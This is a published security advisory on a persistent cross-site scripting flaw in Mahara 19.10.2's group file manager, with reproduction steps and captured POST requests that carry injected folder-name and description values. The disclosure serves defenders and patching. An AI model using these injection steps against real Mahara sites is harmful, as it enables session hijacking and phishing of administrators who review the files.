# Title: Mahara 19.10.2 CMS - Persistent Cross-Site Scripting # Author: Vulnerability Laboratory # Date: 2020-04-21 # Vendor: https://mahara.org # Software Link: https://launchpad.net/mahara # CVE: N/A Document Title: =============== Mahara v19.10.2 CMS - Persistent Cross Site Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2217 Release Date: ============= 2020-04-21 Common Vulnerability Scoring System: ==================================== 4.3 Affected Product(s): ==================== Catalyst IT Ltd. Product: Mahara v19.10.2 - CMS (Web-Application) https://launchpad.net/mahara & https://mahara.org Vulnerability Disclosure Timeline: ================================== 2020-04-21: Public Disclosure (Vulnerability Laboratory) Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official Mahara v19.10.2 CMS web-application series. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent vulnerability is located in the `nombre` and `descripción` parameters of the `Ficheros` module in the `groupfiles.php` file. Remote attackers with low privileges are able to inject own malicious persistent script code as files and foldernames. The injected code can be used to attack the frontend or backend of the web-application. The request method to inject is POST and the attack vector is located on the application-side. Files are able to be reviewed in the backend by higher privileged accounts and can be shared. Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Ficheros (Files Manager) Vulnerable Input(s): [+] Crear Carpeta Vulnerable File(s): [+] groupfiles.php Vulnerable Parameter(s): [+] nombre [+] descripción Affected Module(s): [+] Página principal Proof of Concept (PoC): ======================= The persistent web vulnerability can be exploited by low privileged web application user account with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce ... 1. Open the web-application and login as regular user 2. Move inside the mygroup management 3. Open the ficheros tab on top 4. Inject test payload into the crear carpeta (Nombre & Descripción) input field for the página principal to output Note: The execution point occurs on edit, list and delete interaction 5. The created path listings are available for higher privileged user account that review (Backend) 6. Successul reproduce of the persistent cross site web vulnerability! PoC: Vulnerable Source (Inject via Crear Carpeta Input for Página Principal)

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--- PoC Session Logs [POST] --- (Mygroup Ficheros) https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=27 Host: mahara_cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------98107146915324237501974151621 Content-Length: 4879 Origin: https://mahara_cms.localhost:8080 Connection: keep-alive Referer: https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid=27 Cookie: __cfduid=d6b9845d834027b2fd8a2223c5b559f2f1587303558; mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76; folder=0&files_filebrowser_changefolder=&files_filebrowser_foldername=Página principal&files_filebrowser_uploadnumber=1&files_filebrowser_upload=0&MAX_FILE_SIZE=1610608640&files_filebrowser_license=& files_filebrowser_license_other=&files_filebrowser_licensor=&files_filebrowser_licensorurl=&files_filebrowser_resizeonuploaduserenable=on&userfile[]=&files_filebrowser_move=&files_filebrowser_moveto=&files_filebrowser_createfolder_name=&files_filebrowser_edit_orientation=0& files_filebrowser_edit_title=>" >"&files_filebrowser_edit_description=>" >"&files_filebrowser_permission:member:view=on&files_filebrowser_permission:member:edit=on& files_filebrowser_permission:member:republish=on&files_filebrowser_edit_license=&files_filebrowser_edit_license_other=& files_filebrowser_edit_licensor=>" >"&files_filebrowser_edit_licensorurl=>" >"&files_filebrowser_edit_allowcomments=on& files_filebrowser_update[7191]=Guardar cambios&sesskey=pFJC0a1dZWsy8rEA&pieform_files=&pieform_jssubmission=1,1,1 - POST: HTTP/2.0 200 OK content-type: text/html; charset=UTF-8 vary: Accept-Encoding cache-control: no-store, no-cache, must-revalidate set-cookie: mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76; path=/; secure; HttpOnly content-encoding: br X-Firefox-Spdy: h2- https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid= - Host: mahara_cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------126319663526561351602937008964 Content-Length: 3721 Origin: https://mahara_cms.localhost:8080 Connection: keep-alive Referer: https://mahara_cms.localhost:8080/artefact/file/groupfiles.php?group=27&folder=0&owner=group&ownerid= Cookie: __cfduid=d6b9845d834027b2fd8a2223c5b559f2f1587303558; mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76; folder=0&files_filebrowser_changefolder=&files_filebrowser_foldername=Página principal&files_filebrowser_uploadnumber=1&files_filebrowser_upload=0&MAX_FILE_SIZE=1610608640&files_filebrowser_license=& files_filebrowser_license_other=&files_filebrowser_licensor=&files_filebrowser_licensorurl=&files_filebrowser_resizeonuploaduserenable=on&userfile[]=&files_filebrowser_move=&files_filebrowser_moveto=&files_filebrowser_createfolder_name=&files_filebrowser_delete[7192]=&files_filebrowser_edit_orientation=0&files_filebrowser_edit_title=&files_filebrowser_edit_description=&files_filebrowser_edit_license=& files_filebrowser_edit_license_other=&files_filebrowser_edit_licensor=&files_filebrowser_edit_licensorurl=& sesskey=pFJC0a1dZWsy8rEA&pieform_files=&pieform_jssubmission=1,1 - GET: HTTP/2.0 200 OK content-type: text/html; charset=UTF-8 vary: Accept-Encoding cache-control: no-store, no-cache, must-revalidate set-cookie: mahara=82af10d7e4d0a63e1395d579d0d2f4ea8fb16a18b0e97378b0473c0cf32d1b76; path=/; secure; HttpOnly content-encoding: br X-Firefox-Spdy: h2 Reference(s): https://mahara_cms.localhost:8080/artefact/ https://mahara_cms.localhost:8080/artefact/file/ https://mahara_cms.localhost:8080/artefact/file/groupfiles.php Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. -- VULNERABILITY LABORATORY - RESEARCH TEAM